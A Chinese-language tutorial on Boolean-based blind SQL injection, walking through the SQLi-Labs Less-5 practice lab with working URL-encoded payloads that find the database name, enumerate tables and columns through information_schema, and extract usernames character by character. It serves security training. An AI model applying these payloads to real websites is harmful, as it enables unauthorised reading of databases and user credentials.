什么是Boolean型注入
Boolean型的注入意思就是頁面返回的結果是Boolean型的,通過構造SQL判斷語句,查看頁面的返回結果是否報錯,頁面返回是否正常等來判斷哪些SQL判斷條件時成立的,通過此來獲取數據庫中的數據。
Boolean型注入實戰
這兒以SQLi-Labs less5來進行演示Boolean型盲注實戰。
首先查看是否存在注入點
構造payload http://43.247.91.228:84/Less-5/?id=1

加個單引號 http://43.247.91.228:84/Less-5/?id=1'

數據庫報錯說明存在注入點
接下來來看看數據庫的長度,構造payload http://43.247.91.228:84/Less-5/?id=1%27and%20length(database())=1%23

頁面回顯不正常,在進行嘗試到8時回顯正常
payload http://43.247.91.228:84/Less-5/?id=1%27and%20length(database())=8%23

回顯正常說明數據庫長度為8
猜測數據庫的第一位
payload http://43.247.91.228:84/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+

回顯正常,說明數據庫第一個字母大於a,然后再試后面的字母和數字(可以用二分法來節約時間)最后確定第一位為s。
再猜測數據庫的第二位
構造payload為 http://43.247.91.228:84/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+

說明第二位大於a,在進行測試,得到第二位為e。
得到database()=security
然后來獲取這個數據庫下的第一個表的第一個字段
http://43.247.91.228:84/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

第一個為e,繼續操作得到表名為email
接着獲取第二個表,將limit0,1改為limit1,1,查詢出第二個表為referers
重復這個步驟,獲取所有表的名字。
然后使用regexp來獲取user中的列
http://43.247.91.228:84/Less-5/?id=1%27and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27user%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+
回顯正常說明表中有us開頭的列
http://43.247.91.228:84/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20column_name%20regexp%20%27^username%27%20limit%200,1)--+

說明有username存在,然后在查詢password等其他的列。
然后再來獲取users表的內容
http://43.247.91.228:84/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+
試出了username第一行的第一個字符ascii為68,即為D,然后繼續查詢第一行數據為Dumb。
再用這個方法查詢其他列獲得數據,便可完成注入。
盲注的過程比較繁瑣,手工實現的話比較費時間,我們可以通過寫腳本來實現盲注。
但是對於盲注的原理我們還是要深入理解的。
